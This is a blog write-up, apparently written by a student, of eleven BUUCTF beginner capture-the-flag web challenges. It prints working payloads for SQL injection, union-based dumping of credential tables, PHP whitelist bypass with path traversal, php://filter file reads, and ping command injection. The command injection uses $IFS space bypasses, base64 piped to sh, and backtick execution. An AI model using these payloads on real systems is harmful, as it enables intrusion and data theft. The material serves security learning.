BUUCTF 的一些签到题 内有sql 命令执行(内联)

BUUCTF 的一些签到题 内有sql 命令执行

第一题 easy sql

image-20220115110256458

直接在admin那里用’’ or 1=1#

密码那也可以’’ or 1=1# 记得#要用%23

image-20220115110523694

第二题 php 代码审计

打开看源代码发现提示

image-20220115110631989

打开提示得到一串源码

image-20220115110716784

class emmm
    {
        public static function checkFile(&$page)

        {
            //白名单列表
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            //isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it A";
                return false;
            }
            //检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
            if (in_array($page, $whitelist)) {
                return true;
            }
            //过滤问号的函数(如果$page的值有?则从?之前提取字符串)
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
            );

             //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
            if (in_array($_page, $whitelist)) {
                return true;
            }
            //url对$page解码
            $_page = urldecode($page);

            //第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            //第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

在源码中发现了一个hint.php去看一下

image-20220115111610174

得到提示

根据我们的审计,首先我们要传参file,是字符串类型,然后让函数checkfile返回为真。

hint.php?../../../../../ffffllllaaaagggg 我们可以想象他传入checkFile函数要经历 第一次白名单验证 一次?过滤后他就是hint.php 再进行一次白名单验证 返回为真 则达成条件进行包含得到flag

image-20220115113729499

第三题 简单小题

在源代码中有个注释

image-20220115113908245

传参cat=dog得到flag

image-20220115113926285

第四题 文件包含伪协议

先查一下伪协议的使用 有点忘了

(32条消息) 【文件包含漏洞】——文件包含漏洞进阶_PHP伪协议_剑客 getshell的博客-CSDN博客

image-20220115114717651

打开题目是这样的

然后就用?file=php://filter/read=convert.base64-encode/resource=./flag.php

image-20220115114822119

然后就base64解密

<?php
echo "Can you find out the flag?";
//flag{8888b971-6d8f-4507-892a-eddd64932264}

第五题 强网杯随便注 经典题目了

image-20220115115110263

堆叠注入

然后预处理和大小写绕过selct与prepare,set

image-20220115121839028

第六题 sql注入

image-20220115122524341

输入1有回显,试了下堆叠注入。

image-20220115122558307

image-20220115122647147

但是要用select的时候返回了nonono,说明select关键字又被过滤了,那再试一下预处理。

也不行,麻了,我是真的菜狗啊。

然后就去看别人的wp

(≧∇≦)ノ顺便偷了个葵花宝典

img

别人的wp:

这道题目需要我们去对后端语句进行猜测,有点矛盾的地方在于其描述的功能和实际的功能似乎并不相符,通过输入非零数字得到的回显1和输入其余字符得不到回显来判断出内部的查询语句可能存在有||,也就是select 输入的数据||内置的一个列名 from 表名,进一步进行猜测即为select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知),需要注意的是,此时的||起到的作用是or的作用

解法1

输入的内容为*,1

内置的sql语句为sql=”select”.sql=”select”.post[‘query’].”||flag from Flag”;

如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容

解法2

输入的内容为1;set sql_mode=pipes_as_concat;select 1

其中set sql_mode=pipes_as_concat的作用是将||的作用由or变为拼接字符串

第七题 命令执行漏洞

命令执行漏洞 - 再简单一点点 - 博客园 (cnblogs.com)

image-20220115143436249

第八题 伪协议

在源码中发现了一个文件,前去看看

image-20220115144300054

image-20220115145927816

抓包发现新东西

image-20220115145958610

开始代码审计

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

简单,继续用伪协议

image-20220115150131652

base解密

image-20220115150207094

第九题 sql注入

image-20220115150411281

又是sql注入,他说不让用map就不用?

好嘛没扫出来。

万能密码也行不通了,开始手动注入

image-20220115151050988

order by4报错,就是说有3列

payload:-1’ union select database(),2,3;#

image-20220115151455966

回显的是2,3

payload:-1’ union select 1,database(),user();#

image-20220115151728456

得到数据库名字

然后就开始爆表

-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() ;#

爆字段

-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’l0ve1ysq1’ ;#

image-20220115153816044

爆数据:

-1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1 ;#

image-20220115153828210

得到flag

image-20220115153915190

第十题 命令执行漏洞

image-20220115154242420

又是ping命令

image-20220115154306587

发现flag

image-20220115154348761

但是发现/和空格都被过滤了,想办法绕过

image-20220115154446178

额flag也被绕过了

代替空格的符号有

%20(space)、%09(tab)、$IFS$9、${IFS}$9、 {IFS}、IFS 都可以

image-20220115154651400

访问index看看过滤规则,用的是正则表达式。

我们可以用变量来代替flag字段,/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

image-20220115155138771

得到flag

在网上还发现了其他的方法:

1.通过执行sh命令来执行 (bash被过滤了,不然也可以执行)

/ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
注:sh是linux中运行shell的命令,bash相当于sh的升级版,sh∈bash





2.内联执行 (真正的大佬操作,给跪了)
构造 /?ip=127.0.0.1;cat$IFS$9`ls`
注:内联,就是将反引号内命令的输出作为输入执行。

第十一题 菜刀

image-20220115160821181

蚁剑直接连

image-20220115160834862


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。